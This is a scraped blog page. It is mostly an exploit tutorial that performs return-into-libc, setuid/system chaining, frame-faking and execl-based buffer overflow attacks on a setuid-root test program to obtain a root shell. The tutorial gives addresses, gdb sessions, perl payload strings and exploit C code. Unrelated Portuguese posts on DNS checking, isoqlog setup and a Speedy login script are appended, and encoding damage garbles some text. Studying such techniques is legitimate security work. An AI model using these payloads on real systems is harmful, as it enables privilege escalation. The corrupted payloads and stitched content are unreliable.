From now on I will use the vul2 as a target program of attack.

3.1. The “Classical” return-into-libc and Limitations of system()

The classical return-into-libc method is “most commonly used to evade protection
offered by the non-executable stack. Instead of returning into code located within
the stack, the vulnerable function should return into a memory area occupied by a
dynamic library. It can be achieved by overflowing a stack buffer with the following
payload.”

————————————————————————–
| data to overflow buffer | *system() | 4 bytes dummy data | *”/bin/sh” |
————————————————————————–

We can easily get the address of system() by using gdb. And we can easily get the
address of “/bin/sh” by using environment variable. Let’s find out the address
of system() first.

[vangelis@localhost bof]$ gdb -q vul2
(gdb) b main
Breakpoint 1 at 0x804832e
(gdb) r
Starting program: /home/vangelis/test/bof/vul2
/bin/bash: /root/.bashrc: Permission denied
Breakpoint 1, 0x0804832e in main ()
(gdb) x/i system
0x42041e50 : push %ebp
(gdb) q
The program is running. Exit anyway? (y or n) y
[vangelis@localhost bof]$

I got the address of system():0x42041e50. Now I have to find out the address of “/bin/sh”.

To get the address of “/bin/sh” I will use environmental variable. We will make an
environmental variable hold the string “/bin/sh”. So, I create an environmental
variable called $WOWHACKER to store the string “/bin/sh”.

[vangelis@localhost bof]$ export WOWHACKER=”/bin/sh”
[vangelis@localhost bof]$ echo $WOWHACKER
/bin/sh
[vangelis@localhost bof]$ env
SSH_AGENT_PID=922
HOSTNAME=localhost.localdomain
PVM_RSH=/usr/bin/rsh
TERM=xterm
SHELL=/bin/bash
HISTSIZE=1000
JLESSCHARSET=ko
GTK_RC_FILES=/etc/gtk/gtkrc:/root/.gtkrc-1.2-gnome2
WINDOWID=23068815
QTDIR=/usr/lib/qt3-gcc3.2
USER=vangelis
LS_COLORS=no=00:fi=00:di=00;34:ln=00;36:pi=40;33:so=00;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41: [etc…]
WOWHACKER=/bin/sh
SSH_AUTH_SOCK=/tmp/ssh-XXNxttOD/agent.863
PVM_ROOT=/usr/share/pvm3
USERNAME=root
SESSION_MANAGER=local/localhost.localdomain:/tmp/.ICE-unix/863
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/usr/X11R6/bin:/root/bin
MAIL=/var/spool/mail/root
PWD=/home/vangelis/test/bof
INPUTRC=/etc/inputrc
XMODIFIERS=@im=Ami
LANG=ko_KR.eucKR
GDMSESSION=Default
SSH_ASKPASS=/usr/libexec/openssh/gnome-ssh-askpass
SHLVL=3
HOME=/home/vangelis
GNOME_DESKTOP_SESSION_ID=Default
BASH_ENV=/root/.bashrc
LOGNAME=vangelis
LESSOPEN=|/usr/bin/lesspipe.sh %s
DISPLAY=:0
G_BROKEN_FILENAMES=1
XAUTHORITY=/home/vangelis/.xauthj2VlJi
COLORTERM=gnome-terminal

_=/bin/env
[vangelis@localhost bof]$

Now I make a small but useful program get_env.c to get the address of the
environmental variable holding the string “/bin/sh”.

[vangelis@localhost bof]$ cat > get_env.c
#include
#include

int main(int argc, char *argv[])
{
char *addr;
addr=getenv(argv[1]);

printf(“Address of %s: %p\n”,argv[1],addr);
return 0;
}
[vangelis@localhost bof]$ gcc -o get_env get_env.c
[vangelis@localhost bof]$ ./get_env WOWHACKER
Address of WOWHACKER: 0xbffffd5c

The address of $WOWHACKER holding “/bin/sh” is 0xbffffd5c. Now I get all
information to exploit the vulnerable program vul2.

* address of system() – 0x42041e50
* address of $WOWHACKER – 0xbffffd5c

Our exploit payload looks like the following.

————————————————————————–
| data to overflow buffer | 0x42041e50 | 4 bytes dummy data | 0xbffffd5c |
————————————————————————–

[vangelis@localhost bof]$ ./vul2 `perl -e ‘print “VANG”x7,”\x50\x1e\x04\x42”,”A”x4,”\x5c\xfd\xff\xbf”‘`
sh-2.05b$

I got a shell. But I couldn’t get a root shell. Here we can know that there
are some limitations in the classical return-into-libc technique. Negal said
the two limitations in his article like the following.

1. It is impossible to call another function, which requires arguments, after function_in_lib.
2. The arguments to function_in_lib cannot contain null bytes.

He told about the first limitation. “If a vulnerable application temporarily
drops privileges (for example, a setuid application can do seteuid(getuid())),
an exploit must regain privileges (with a call to setuid(something) usually)
before calling system().”

Now, I will suggest the way to get over the limitations.

3.2. First Way To Get Over the ?Classical? return-into-libc and system()

The first way to get over ‘classical’ return-into-libc is to use setuid() with
system(). The vulnerable program vul2 is setuid(0) set. So, we have to process
the argument ‘0’ of setuid() to get a root shell. If there is null byte before
going to system(), we will fail to get a root shell. In order to solve this
problem, we can use printf().

The first thing to use this technique is to add “/bin/sh” to the first list of
environment. Let’s see the list of environment variables by using env.

[vangelis@localhost bof]$ env
SSH_AGENT_PID=955
HOSTNAME=localhost.localdomain
PVM_RSH=/usr/bin/rsh

TERM=xterm
SHELL=/bin/bash
HISTSIZE=1000
JLESSCHARSET=ko
GTK_RC_FILES=/etc/gtk/gtkrc:/root/.gtkrc-1.2-gnome2
WINDOWID=23068815
QTDIR=/usr/lib/qt3-gcc3.2
USER=vangelis
LS_COLORS=no=00:fi=00:di=00;34:ln=00;36:pi=40;33:so=00;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41: [etc…]
SSH_AUTH_SOCK=/tmp/ssh-XXwZPnO4/agent.896
PVM_ROOT=/usr/share/pvm3
USERNAME=root
SESSION_MANAGER=local/localhost.localdomain:/tmp/.ICE-unix/896
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/usr/X11R6/bin:/root/bin
MAIL=/var/spool/mail/root
PWD=/home/vangelis/test/bof
INPUTRC=/etc/inputrc
XMODIFIERS=@im=Ami
LANG=ko_KR.eucKR
GDMSESSION=Default
SSH_ASKPASS=/usr/libexec/openssh/gnome-ssh-askpass
SHLVL=3
HOME=/home/vangelis
GNOME_DESKTOP_SESSION_ID=Default
BASH_ENV=/root/.bashrc
LOGNAME=vangelis
LESSOPEN=|/usr/bin/lesspipe.sh %s
DISPLAY=:0
G_BROKEN_FILENAMES=1
XAUTHORITY=/home/vangelis/.xauthct1pxK
COLORTERM=gnome-terminal
_=/bin/env
[vangelis@localhost bof]$

The first list of environment variables is “SSH_AGENT_PID=955”.
Now I will add “/bin/sh” to it by using export.

[vangelis@localhost bof]$ export SSH_AGENT_PID=”955;/bin/sh”
[vangelis@localhost bof]$ env
SSH_AGENT_PID=955;/bin/sh
HOSTNAME=localhost.localdomain
PVM_RSH=/usr/bin/rsh
TERM=xterm
SHELL=/bin/bash
HISTSIZE=1000
JLESSCHARSET=ko
GTK_RC_FILES=/etc/gtk/gtkrc:/root/.gtkrc-1.2-gnome2
WINDOWID=23068815
QTDIR=/usr/lib/qt3-gcc3.2
USER=vangelis
LS_COLORS=no=00:fi=00:di=00;34:ln=00;36:pi=40;33:so=00;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41: [etc…]
SSH_AUTH_SOCK=/tmp/ssh-XXRxCKJr/agent.897
PVM_ROOT=/usr/share/pvm3
USERNAME=root
SESSION_MANAGER=local/localhost.localdomain:/tmp/.ICE-unix/897
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/usr/X11R6/bin:/root/bin
MAIL=/var/spool/mail/root
PWD=/home/vangelis/test/bof
INPUTRC=/etc/inputrc
XMODIFIERS=@im=Ami
LANG=ko_KR.eucKR
GDMSESSION=Default
SSH_ASKPASS=/usr/libexec/openssh/gnome-ssh-askpass
SHLVL=3
HOME=/home/vangelis
GNOME_DESKTOP_SESSION_ID=Default
BASH_ENV=/root/.bashrc
LOGNAME=vangelis
LESSOPEN=|/usr/bin/lesspipe.sh %s
DISPLAY=:0
G_BROKEN_FILENAMES=1
XAUTHORITY=/home/vangelis/.xauthzRzRr8
COLORTERM=gnome-terminal
_=/bin/env
[vangelis@localhost bof]$

To make you understand the reason why I add ?/bin/sh? to the first list, I will dump the contents of memory.

[vangelis@localhost bof]$ gdb -q vul2
(gdb) b main
Breakpoint 1 at 0x804832e
(gdb) r
Starting program: /home/vangelis/test/bof/vul2
/bin/bash: /root/.bashrc: permission denied
Breakpoint 1, 0x0804832e in main ()
(gdb) x/50x $ebp
0xbffff908: 0xbffff928 0x420158d4 0x00000001 0xbffff954
0xbffff918: 0xbffff95c 0x400124b8 0x00000001 0x08048278
0xbffff928: 0x00000000 0x08048299 0x08048328 0x00000001
0xbffff938: 0xbffff954 0x08048230 0x0804837c 0x4000a950
0xbffff948: 0xbffff94c 0x4001020c 0x00000001 0xbffffa77
0xbffff958: 0x00000000 0xbffffa94 0xbffffaae 0xbffffacd
0xbffff968: 0xbffffae2 0xbffffaf2 0xbffffafd 0xbffffb0d
0xbffff978: 0xbffffb1b 0xbffffb4f 0xbffffb61 0xbffffb7b
0xbffff988: 0xbffffb89 0xbffffd4c 0xbffffd65 0xbffffd8f
0xbffff998: 0xbffffdce 0xbffffddc 0xbffffdf6 0xbffffe51
0xbffff9a8: 0xbffffe5d 0xbffffe72 0xbffffe8e 0xbffffea1
0xbffff9b8: 0xbffffeb2 0xbffffec5 0xbffffef8 0xbfffff0c
0xbffff9c8: 0xbfffff14 0xbfffff35
(gdb) x/8wx 0xbffff954
0xbffff954: 0xbffffa77 0x00000000 0xbffffa94 0xbffffaae
0xbffff964: 0xbffffacd 0xbffffae2 0xbffffaf2 0xbffffafd
(gdb) x/s 0xbffffa77
0xbffffa77: “/home/vangelis/test/bof/vul2”
(gdb) x/8wx 0xbffff95c
0xbffff95c: 0xbffffa94 0xbffffaae 0xbffffacd 0xbffffae2
0xbffff96c: 0xbffffaf2 0xbffffafd 0xbffffb0d 0xbffffb1b
(gdb) x/s 0xbffffa94
0xbffffa94: “SSH_AGENT_PID=955;/bin/sh”
(gdb) x/s 0xbffffaae
0xbffffaae: “HOSTNAME=localhost.localdomain”
(gdb) x/s 0xbffffacd
0xbffffacd: “PVM_RSH=/usr/bin/rsh”
(gdb) q
The program is running. Exit anyway? (y or n) y
[vangelis@localhost bof]$

As you can see, *env[0] is at 0xbffffa94 of 6th line. Let’s check from the 1st line to the 6th line.

0xbffff908: 0xbffff928 0x420158d4 0x00000001 0xbffff954
(**argv)

0xbffff918: 0xbffff95c 0x400124b8 0x00000001 0x08048278
(**env)

0xbffff928: 0x00000000 0x08048299 0x08048328 0x00000001
0xbffff938: 0xbffff954 0x08048230 0x0804837c 0x4000a950
0xbffff948: 0xbffff94c 0x4001020c 0x00000001 0xbffffa77
(argc) (*argv[0])

0xbffff958: 0x00000000 0xbffffa94 0xbffffaae 0xbffffacd
(null) (*env[0]) (*env[1]) (*env[2])

We added “/bin/sh” to env[0], so we can get a shell if we overwrite the
address of system() before null of the 6th line. And we get a root shell
if we overwrite the address of setuid() before system(). The null will
be used as an argument of setuid(), so the root privilege won’t be dropped.

Now I will suggest the attack payload:

———————————————————————–
| data to overflow | ?ret? of printf() x 18 | *setuid() | *system() |
———————————————————————–

In above payload, we must put ‘x18’ because we have to consider the
distance from **env to *env[0].

Now, let’s find out the addresses of setuid(), system(), and ret of printf().

[vangelis@localhost bof]$ gdb -q vul2
(gdb) b main
Breakpoint 1 at 0x804832e
(gdb) r
Starting program: /home/vangelis/test/bof/vul2

/bin/bash: /root/.bashrc: permission denied
Breakpoint 1, 0x0804832e in main ()
(gdb) x/i setuid

0x420aefe0 : push %ebp
(gdb) x/i system
0x42041e50 : push %ebp
(gdb) disas printf
Dump of assembler code for function printf:
0x42052390 : push %ebp
0x42052391 : mov %esp,%ebp
0x42052393 : sub $0x18,%esp
0x42052396 : mov %ebx,0xfffffffc(%ebp)
0x42052399 : lea 0xc(%ebp),%ecx
0x4205239c : call 0x4201575d <__i686 .get_pc_thunk.bx>
0x420523a1 : add $0xd7f2f,%ebx
0x420523a7 : mov 0x17c(%ebx),%eax
0x420523ad : mov (%eax),%eax
0x420523af : mov %ecx,0x8(%esp,1)
0x420523b3 : mov %eax,(%esp,1)
0x420523b6 : mov 0x8(%ebp),%eax
0x420523b9 : mov %eax,0x4(%esp,1)
0x420523bd : call 0x42047f00
0x420523c2 : mov 0xfffffffc(%ebp),%ebx
0x420523c5 : mov %ebp,%esp
0x420523c7 : pop %ebp
0x420523c8 : ret
0x420523c9 : nop
0x420523ca : nop
0x420523cb : nop
0x420523cc : nop
0x420523cd : nop
0x420523ce : nop
0x420523cf : nop
End of assembler dump.
(gdb) q
The program is running. Exit anyway? (y or n) y
[vangelis@localhost bof]$

Now, we get all information to exploit.

*system(): 0x42041e50
*setuid(): 0x420aefe0
*ret of printf(): 0x420523c8

[vangelis@localhost bof]$ ./vul2 “`perl -e ‘print “A”x28,”xc8x23x05x42″x18,”xe0xefx0ax42″,”x50x1ex04x42″‘`”
sh-2.05b#

In above attack string, I put ” ” in both end. This is because there
is “\x0a”. If there is “\x0a” in the payload, the rest part of payload
after “\x0a”will not be passed as arguments. So I put ” ” in both ends
to pass the rest part of arguments.

3.3. Frame Faking

This technique is well described in Nergal’s article and other related ones.
I wish you to read the articles. The attack payload is like this:

——————————————————
| data to overflow buffer | fake_ebp0 | leaveret |
——————————————————

It is quite easy to find out how many data we need to overflow buffer. We can
use gdb for it as we have seen. fake_ebp0 is the starting address of buffer.
I found that if we use eggshell we don’t need the exact fake_ebp0. We can use
from 0xbffff201 to 0xbffff908 for fake_ebp0, so we can have more chances. It
is sure that there may be differences among systems. Anyway, if we don’t use
eggshell, we need the exact fake_ebp0. So, I will use eggshell for convenience.

[vangelis@localhost bof]$ ./eggshell
Using address: 0xbffff8d8
[vangelis@localhost bof]$ gdb -q vul2
(gdb) disas main
Dump of assembler code for function main:
0x8048328

: push %ebp
0x8048329
: mov %esp,%ebp
0x804832b
: sub $0x18,%esp
0x804832e
: and $0xfffffff0,%esp
0x8048331
: mov $0x0,%eax
0x8048336
: sub %eax,%esp
0x8048338
: sub $0x8,%esp
0x804833b
: mov 0xc(%ebp),%eax
0x804833e
: add $0x4,%eax
0x8048341
: pushl (%eax)
0x8048343
: lea 0xffffffe8(%ebp),%eax
0x8048346
: push %eax
0x8048347
: call 0x8048268
0x804834c
: add $0x10,%esp
0x804834f
: mov $0x0,%eax
0x8048354
: leave // leaveret: 0x8048354
0x8048355
: ret
0x8048356
: nop
0x8048357
: nop
End of assembler dump.
(gdb) q
[vangelis@localhost bof]$ ./vul2 `perl -e ‘print “a”x28,”\x01\xf2\xff\xbf”,”\x54\x83\x04\x08″‘`
sh-2.05b#
sh-2.05b# exit
[vangelis@localhost bof]$ ./vul2 `perl -e ‘print “a”x28,”\x08\xf9\xff\xbf”,”\x54\x83\x04\x08″‘`
sh-2.05b#

Wow! I got a root shell. We can also use the address which we get after executing eggshell program.

[vangelis@localhost bof]$ ./vul2 `perl -e ‘print “\xd8\xf8\xff\xbf”x7,”\x08\xf9\xff\xbf”,”\x54\x83\x04\x08″‘`
sh-2.05b#

3.4. Way of Using execl()

I included and explained about this technique in my last post “return-into-libc test” to Neworder(http://neworder.box.sk/newsread.php?newsid=11535). So, I don’t explain about this technique this time. I just include the test result. If you want to know about this, see my last post. Sorry^^.

[vangelis@localhost bof]$ cat > execl.c
main()
{
execl();
}
[vangelis@localhost bof]$ gcc -o execl execl.c
[vangelis@localhost bof]$ gdb -q execl
(gdb) b main
Breakpoint 1 at 0x804832e
(gdb) r
Starting program: /home/vangelis/test/bof/execl
/bin/bash: /root/.bashrc: Permission denied

Breakpoint 1, 0x0804832e in main ()
(gdb) p execl
$1 = {} 0x420ae890
(gdb) q
The program is running. Exit anyway? (y or n) y
[vangelis@localhost bof]$ cat > setid.c
main()
{
setreuid(geteuid(),geteuid());
setregid(getegid(),getegid());
execl(“/bin/bash”, “sh”, 0);
}
[vangelis@localhost bof]$ gcc -o setid setid.c
[vangelis@localhost bof]$ gdb -q setid
(gdb) b main
Breakpoint 1 at 0x8048406
(gdb) r
Starting program: /home/vangelis/test/bof/setid
/bin/bash: /root/.bashrc: Permission denied

Breakpoint 1, 0x08048406 in main ()
(gdb) x/30s 0xbffffd4b
0xbffffd4b: “PVM_ROOT=/usr/share/pvm3”
0xbffffd64: “SSH_AUTH_SOCK=/tmp/ssh-XXCipL12/agent.896”
0xbffffd8e: “SESSION_MANAGER=local/localhost.localdomain:/tmp/.ICE-unix/896”
0xbffffdcd: “USERNAME=root”
0xbffffddb: “MAIL=/var/spool/mail/root”
0xbffffdf5: “PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/usr/X11R6/bin:/root/bin”
0xbffffe50: “_=/bin/bash”
0xbffffe5c: “INPUTRC=/etc/inputrc”
0xbffffe71: “PWD=/home/vangelis/test/bof”
0xbffffe8d: “XMODIFIERS=@im=Ami”
0xbffffea0: “LANG=ko_KR.eucKR”
0xbffffeb1: “GDMSESSION=Default”
0xbffffec4: “SSH_ASKPASS=/usr/libexec/openssh/gnome-ssh-askpass”
0xbffffef7: “HOME=/home/vangelis”
0xbfffff0b: “SHLVL=7”
0xbfffff13: “GNOME_DESKTOP_SESSION_ID=Default”
0xbfffff34: “BASH_ENV=/root/.bashrc”
0xbfffff4b: “LOGNAME=vangelis”
0xbfffff5c: “LESSOPEN=|/usr/bin/lesspipe.sh %s”
0xbfffff7e: “DISPLAY=:0”
0xbfffff89: “G_BROKEN_FILENAMES=1”
0xbfffff9e: “COLORTERM=gnome-terminal”
0xbfffffb7: “XAUTHORITY=/home/vangelis/.xauthsvjSKd”
0xbfffffde: “/home/vangelis/test/bof/setid”
0xbffffffc: “”
0xbffffffd: “”
0xbffffffe: “”
0xbfffffff: “”
(gdb) q
The program is running. Exit anyway? (y or n) y
[vangelis@localhost bof]$ cat > exploit.c
#include

int main()
{
char *path = “/home/vangelis/test/bof/vul2”;
char *argv[] = { “./setid”, “AAAABBBBCCCCDDDDEEEEFFFF\xde\xff\xff\xbf\x93\xe8

\x0a\x42″, 0 };
execve(path, argv, 0);
return 0;
}
[vangelis@localhost bof]$ gcc -o exploit exploit.c
[vangelis@localhost bof]$ ./exploit
Segmentation fault
[vangelis@localhost bof]$
[vangelis@localhost bof]$ gdb -q exploit
(gdb) r
Starting program: /home/vangelis/test/bof/exploit
/bin/bash: /root/.bashrc: Permission denied

Program received signal SIGTRAP, Trace/breakpoint trap.
0x40000b30 in _start () from /lib/ld-linux.so.2
(gdb) sysmol-file /home/vangelis/test/bof/exploit
Undefined command: “sysmol-file”. Try “help”.
(gdb) symbol-file /home/vangelis/test/bof/exploit
Load new symbol table from “/home/vangelis/test/bof/exploit”? (y or n) y

Reading symbols from /home/vangelis/test/bof/exploit…done.
(gdb) b main
Breakpoint 1 at 0x804832e
(gdb) c
Continuing.

Breakpoint 1, 0x0804832e in main ()
(gdb) x/10wx $ebp
0xbffffed8: 0xbffffef8 0x420158d4 0x00000002 0xbfffff24
0xbffffee8: 0xbfffff30 0x400124b8 0x00000002 0x08048278
0xbffffef8: 0x00000000 0x08048299
(gdb) x/10wx 0xbfffff24
0xbfffff24: 0xbfffffb7 0xbfffffbf 0x00000000 0x00000000
0xbfffff34: 0x00000010 0x0183f9ff 0x00000006 0x00001000
0xbfffff44: 0x00000011 0x00000064
(gdb) x/s 0xbfffffb7
0xbfffffb7: “./setid”
(gdb) x/s 0xbfffffbf
0xbfffffbf: “AAAABBBBCCCCDDDDEEEEFFFF????\223?\nB”
(gdb) q
The program is running. Exit anyway? (y or n) y
[vangelis@localhost bof]$ cat > exploit2.c
#include

int main()
{
char *path = “/home/vangelis/test/bof/vul2”;
char *argv[] = { “./setid”, “AAAABBBBCCCCDDDDEEEEFFFF\x1c\xff\xff\xbf\x93\xe8

\x0a\x42″, 0 };
execve(path, argv, 0);
return 0;
}
[vangelis@localhost bof]$ gcc -o exploit2 exploit2.c
[vangelis@localhost bof]$ ./exploit2
sh-2.05b#

Posted in Sem categoria

Verificando DNS atrav?s da Web.

Este artigo foi retirado do site VivaoLinux:

Existe uma ferramenta muito ?til e simples de usar para verificar configura??es de servidores DNS. Essa ferramenta nos permite verificar facilmente erros de configura??o de DNS. ? uma ferramenta web amplamente usada e para os que n?o conhecem l? vai:

* http://www.dnsreport.com/

Entre com o dom?nio para analisar se os DNS’s do seu dom?nio est?o bem configurados! Outra op??o ? o site:

* http://www.checkdns.net/

Mas ao meu ver o dnsreport ? mais completo.

Bom proveito!

Posted in Sem categoria

ISOQLOG – Gerando estatisticas de emails

Colabora??o: Marcelo Garcia

Sempre ? bom podermos quantificar valores de largura de
banda, utiliza??o de disco, memoria e etc. Ter valores
mensuraveis, e estatisticas de comportamento dos nossos
servi?os ajuda ao administrador de sistemas a evitarem
dores de cabe?a.

Uma coisa realmente interessante de ser medida ? a “fila
de e-mails”, ou “fluxo de emails”. Voc? sabe hoje,

– quem recebe mais emails na sua empresa ?
– quem envia mais emails
– quem utiliza mais banda recebendo ou enviando emails mais “pesados” ?
– qual dominio recebe mais email ?
– quantas mensagens foram recebidas no mes ?
– quantas mensages foram enviadas ?
– qual o total de MegaBytes, GigaBytes, ou TeraBytes gastos com email por m?s ?

Eu diria que seria “impossivel”, ficar escarafunchando
logs para obter estas respostas. Por isto aqui vai
uma sugest?o – o ISOQLOG. Este software, escrito em C,
funciona com a maioria dos MTA’s populares – postfix –
qmail – sendmail. Com este “escarafunchador” de logs voce
pode gerar estatisticas em html, com respostas para todas
as quest?es acima.

Voc? pode fazer download da ultima vers?o em
http://www.enderunix.org/isoqlog/ . Quando escrevi
esta dica a vers?o disponivel era a 2.2. A instala??o ?
simplificada, abaixo uma sequencia de passos (sugest?o)
para instala??o, do isoqlog com MTA postfix. Considero
que voc? ja tenha um apache e postfix rodando.

01) Baixe o pacote em http://www.enderunix.org/isoqlog/
Descompacte-o. Feito isto, instala??o padr?o :

./configure
make
make install
make clean

02) Diret?rio para gerar os relat?rios

Se voc? chegou sem problemas at? aqui continue. Caso
contrario verifique se voc? tem um compilador C na sua
maquina, bem como todas as dependencias necess?rias.

Crie a pasta nao qual ser?o gerados os relatorios. No meu caso :

[root@zeus isoqlog-2.2] mkdir /srv/www/default/html/isoqlog

03) Copias as imagens utilizadas pelo ISOQLOG .

O isoqlog precisa de um diret?rio de imagens, que por
sua vez s?o utilizados nos relat?rios. Estas imagens
precisam serem coloca-las no diretorio output criado
acima. Isto n?o ? uma passo “fundamental”, mas n?o fica
uma apresenta??o profissional relatorio gerados faltando
imagens. Alem disto nao dedicamos um tributo aos criadores
do software. Portanto :

[root@zeus isoqlog-2.2]# cd isoqlog
[root@zeus isoqlog]# pwd
/home/marcelo.garcia/isoqlog-2.2/isoqlog
[root@zeus isoqlog]# cp -pr ./htmltemp/images /srv/www/default/html/isoqlog/images/

04) Configura??o do isoqlog

No diretorio /usr/local/etc est?o dois arquivos de
configura??o “demo”. Copie estes arquivos, como demostrado
abaixo :

[root@zeus etc]# cd /usr/local/etc
[root@zeus etc]# cp isoqlog.conf-dist isoqlog.conf
[root@zeus etc]# cp isoqlog.domains-dist isoqlog.domains

Agora vamos edita-los : Abaixo como ficar?o as
configura??es para o meu caso

[root@zeus isoqlog-2.2]# vi /usr/local/etc/isoqlog.conf
[root@zeus isoqlog-2.2]# vi /usr/local/etc/isoqlog.domains

Isoqlog.conf====================================================
#isoqlog Configuration file

logtype = “postfix”
logstore = “/var/log/maillog”
domainsfile = “/usr/local/etc/isoqlog.domains”
outputdir = “/srv/www/default/html/isoqlog”
htmldir = “/usr/local/share/isoqlog/htmltemp”
langfile = “/usr/local/share/isoqlog/lang/english”
hostname = “teste.com.br”

maxsender = 100
maxreceiver = 100
maxtotal = 100
maxbyte = 100
=============================================================

Isoqlog.domais==================================================
teste.com.br
=============================================================

05) Esta rodando ?

Se tudo foi feito corretamente at? aqui, execute o isoqlog
para ver se ele gerar? relatorios:

[root@zeus isoqlog]# /usr/local/bin/isoqlog

La dentro de /srv/www/default/html/isoqlog devem estar os
reports. Voc? pode acessar de qualquer browse, no nosso
exemplo a url seria http://www.teste.com.br/isoqlog.

Por?m o ideal ? voc? deixar o isoqlog rodando de hora
em hora no servidor. Edite o seu crontab (crontab -e)
e acrescente a seguinte linha :

58 * * * * /usr/local/bin/isoqlog 1>/dev/null 2>/dev/null

A cada 58 minutos o isoqlog ir? atualizar as informa??es

Posted in Sem categoria

Autentica??o do Speedy Business

Material retirado do site Dicas-L

Colabora??o: Ivan de Gusm?o Apolonio

O Speedy Business da Telefonica, diferente do Speedy Home, n?o usa autentica??o PPPoE para autenticar o usu?rio para acessar a Internet. No Speedy Business periodicamente a conex?o ? bloqueada e qualquer acesso ? porta 80 ? redirecionado para uma p?gina de autentica??o da Telef?nica. O problema disso ? que se por acaso o hor?rio da autentica??o for num momento que n?o tem ningu?m navegando na internet, o speedy ficar? bloqueado at? que algu?m fa?a a autentica??o.

Para resolver este problema encontrei na internet um script feito por Gleydson Mazioli da Silva que resolveu meu problema e acredito que ser? de grande utilidade para outras pessoas tamb?m.

O script abaixo deve ser colocado no cron para que seja testado periodicamente se o Speedy foi bloqueado. Devem ser altarados apenas:

* usuario e dominio do seu provedor
* senha
* -> ? para onde ser? enviada a notifica??o de que fei feita uma autentica??o

#!/bin/sh
# Realiza a auto autentica??o detectando quando a mesma ? pedida pela p?gina da telefonica
# O programa envia um e-mail assim que ocorre uma nova autentica??o
# Autor: Gleydson Mazioli da Silva
# Data: 07/11/2003
#
# Este programa est? coberto sobre a licen?a GPL e n?o tem a finalidade de atender um objetivo
# espec?fico ou uma determinada finalidade ficando a seu inteiro crit?rio sua utiliza??o.
#

# Login@host deve ser especificado separadamente. O login na variavel LOGIN e dominio
# na vari?vel dom?nio logo abaixo.
LOGIN=usuario
DOMINIO=provedor.com.br

# Senha de autentica??o
SENHA=senha

# Esta dever? ser qualquer URL que NAO precise de Java para abrir, que tenha uma boa disponibilidade e que responda a ping
URL=focalinux.cipsga.org.br

send_email_auth_ok() {
local L_HOSTNAME
L_HOSTNAME=`hostname`
echo “Autentica??o no Speedy via web feita com sucesso ?s `date +”%T de %d/%m/%Y”`”|mail -s “Autentica??o Speedy em ${L_HOSTNAME}” email@pessoal.com.br
}

speedy_auth() {
lynx -dump http://200.171.222.97:80/speedywebapp/servlet/logon\?opcion=internet\&CPURL=http\%3A\%2F\%2F${URL}\%2F\&username=${LOGIN}\%40${DOMINIO}\&password=${SENHA}|grep -i “salvar” >/dev/null
if [ “$?” = “0” ];then
echo “Erro de autentica??o de Speedy! Verifique o nome e senha!”
exit 1
fi
send_email_auth_ok
}

# Verifica se o computador de destino est? pedindo autentica??o
main() {
ping -c 5 www.cipsga.org.br &>/dev/null
if [ “$?” != “0” ];then
lynx -dump ${URL}|grep -iEq “javascript.*not.*enabled”
if [ “$?” = “0” ];then
speedy_auth
fi
fi
}

main
:

Posted in Sem categoria